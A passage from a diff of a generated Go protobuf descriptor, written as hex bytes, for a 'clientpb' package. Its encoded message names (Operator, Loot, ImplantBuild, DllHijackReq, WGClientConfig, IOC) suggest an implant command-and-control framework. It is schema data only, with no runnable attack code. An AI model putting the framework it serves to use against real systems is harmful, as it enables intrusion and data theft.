0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, - 0x43, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, - 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, - 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, - 0x64, 0x72, 0x65, 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, - 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, - 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, - 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, - 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, - 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, - 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x09, 0x4f, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, - 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, - 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, - 0xa2, 0x01, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, - 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, - 0x0a, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, - 0x50, 0x61, 0x74, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, - 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, - 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, - 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, - 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, - 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, - 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, - 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, - 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57, - 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, - 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, - 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, - 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, - 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, - 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, - 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, - 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, - 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, - 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, - 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, - 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, - 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, - 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, - 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, - 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, - 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, - 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, - 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, - 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, - 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, - 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, - 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, - 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, - 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, - 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, - 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, - 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, - 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, - 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, - 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, - 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, - 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, - 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, - 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, - 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x22, 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, - 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, - 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, - 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, - 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, - 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, - 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, - 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x54, 0x0a, 0x10, 0x52, 0x65, + 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x49, 0x44, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, + 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, + 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x6f, 0x75, + 0x72, 0x63, 0x65, 0x49, 0x44, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, + 0x1a, 0x39, 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x67, 0x65, 0x64, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x27, 0x0a, 0x0f, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x12, 0x14, + 0x0a, 0x05, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x42, + 0x75, 0x69, 0x6c, 0x64, 0x22, 0xb2, 0x05, 0x0a, 0x0c, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x4d, 0x44, 0x35, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4d, 0x44, 0x35, 0x12, 0x12, 0x0a, 0x04, 0x53, + 0x48, 0x41, 0x31, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x53, 0x48, 0x41, 0x31, 0x12, + 0x16, 0x0a, 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x06, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, + 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x28, 0x0a, + 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0f, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x49, 0x44, 0x12, 0x2e, 0x0a, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, + 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, + 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0a, 0x20, 0x01, 